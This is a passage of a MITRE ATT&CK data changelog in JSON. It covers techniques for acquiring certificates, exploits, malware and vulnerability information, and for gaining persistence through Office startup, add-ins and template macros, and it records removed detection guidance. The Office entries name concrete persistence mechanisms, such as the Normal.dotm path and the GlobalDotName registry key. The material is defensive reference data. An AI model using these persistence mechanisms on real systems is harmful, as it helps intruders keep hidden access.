"description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588/004",
"external_id": "T1588.004"
},
{
"source_name": "DiginotarCompromise",
"description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
"url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
},
{
"source_name": "Recorded Future Beacon Certificates",
"description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
"url": "https://www.recordedfuture.com/research/cobalt-strike-servers"
},
{
"source_name": "Splunk Kovar Certificates 2017",
"description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
"url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
},
{
"source_name": "Let's Encrypt FAQ",
"description": "Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020.",
"url": "https://letsencrypt.org/docs/faq/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Certificate: Certificate Registration\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.525000+00:00\", \"old_value\": \"2025-04-15 22:18:17.702000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\\n\\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\\n-\\n-Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)",
"DS0037: Certificate (Certificate Registration)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0848: Detection of Digital Certificates"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 02:17:46.086000+00:00",
"modified": "2025-10-24 17:49:36.851000+00:00",
"name": "Exploits",
"description": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588/005",
"external_id": "T1588.005"
},
{
"source_name": "PegasusCitizenLab",
"description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
"url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
},
{
"source_name": "NationsBuying",
"description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
"url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
},
{
"source_name": "Exploit Database",
"description": "Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020.",
"url": "https://www.exploit-db.com/"
},
{
"source_name": "TempertonDarkHotel",
"description": "Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.",
"url": "https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage"
},
{
"source_name": "Wired SandCat Oct 2019",
"description": "Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020.",
"url": "https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.851000+00:00\", \"old_value\": \"2025-04-15 22:34:05.500000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\", \"diff\": \"--- \\n+++ \\n@@ -1,2 +0,0 @@\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0827: Detection of Exploits"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 02:06:11.499000+00:00",
"modified": "2025-10-24 17:48:58.766000+00:00",
"name": "Malware",
"description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588/001",
"external_id": "T1588.001"
},
{
"source_name": "FireEyeSupplyChain",
"description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
"url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\", \"Malware Repository: Malware Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.766000+00:00\", \"old_value\": \"2025-04-15 22:47:58.443000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0004: Malware Repository (Malware Content)",
"DS0004: Malware Repository (Malware Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0845: Detection of Malware"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-15 02:59:38.628000+00:00",
"modified": "2025-10-24 17:48:34.033000+00:00",
"name": "Vulnerabilities",
"description": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588/006",
"external_id": "T1588.006"
},
{
"source_name": "National Vulnerability Database",
"description": "National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020.",
"url": "https://nvd.nist.gov/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.033000+00:00\", \"old_value\": \"2025-04-15 23:19:21.267000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0808: Detection of Vulnerabilities"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-12-14 16:46:06.044000+00:00",
"modified": "2025-10-24 17:48:34.614000+00:00",
"name": "Office Application Startup",
"description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1137",
"external_id": "T1137"
},
{
"source_name": "Microsoft Detect Outlook Forms",
"description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
"url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
},
{
"source_name": "TechNet O365 Outlook Rules",
"description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.",
"url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/"
},
{
"source_name": "CrowdStrike Outlook Forms",
"description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.",
"url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"
},
{
"source_name": "SensePost Ruler GitHub",
"description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.",
"url": "https://github.com/sensepost/ruler"
},
{
"source_name": "SensePost NotRuler",
"description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
"url": "https://github.com/sensepost/notruler"
},
{
"source_name": "Outlook Today Home Page",
"description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.",
"url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Nick Carr, Mandiant",
"Microsoft Threat Intelligence Center (MSTIC)",
"Sahar Shukrun",
"Praetorian",
"Loic Jaquemet",
"Ricardo Dias"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Office Suite"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Application Log: Application Log Content\", \"Windows Registry: Windows Registry Key Modification\", \"File: File Modification\", \"Module: Module Load\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.614000+00:00\", \"old_value\": \"2025-04-15 22:54:32.990000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\\n\\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\\n\\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\\n-\\n-Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\\n-\\n-Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint",
"M1042: Disable or Remove Feature or Program",
"M1051: Update Software",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0398: Detect Office Startup-Based Persistence via Macros, Forms, and Registry Hooks"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-11-07 19:52:52.801000+00:00",
"modified": "2025-10-24 17:48:37.911000+00:00",
"name": "Add-ins",
"description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1137/006",
"external_id": "T1137.006"
},
{
"source_name": "FireEye Mail CDS 2018",
"description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20190508170121/https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf"
},
{
"source_name": "MRWLabs Office Persistence Add-ins",
"description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
},
{
"source_name": "Microsoft Office Add-ins",
"description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.",
"url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460"
},
{
"source_name": "GlobalDotName Jun 2019",
"description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
"url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Office Suite"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Modification\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.911000+00:00\", \"old_value\": \"2025-04-15 21:45:27.400000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\\n-\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0050: Detect Persistence via Malicious Office Add-ins"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-11-07 20:29:17.788000+00:00",
"modified": "2025-10-24 17:48:59.432000+00:00",
"name": "Office Template Macros",
"description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:C:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
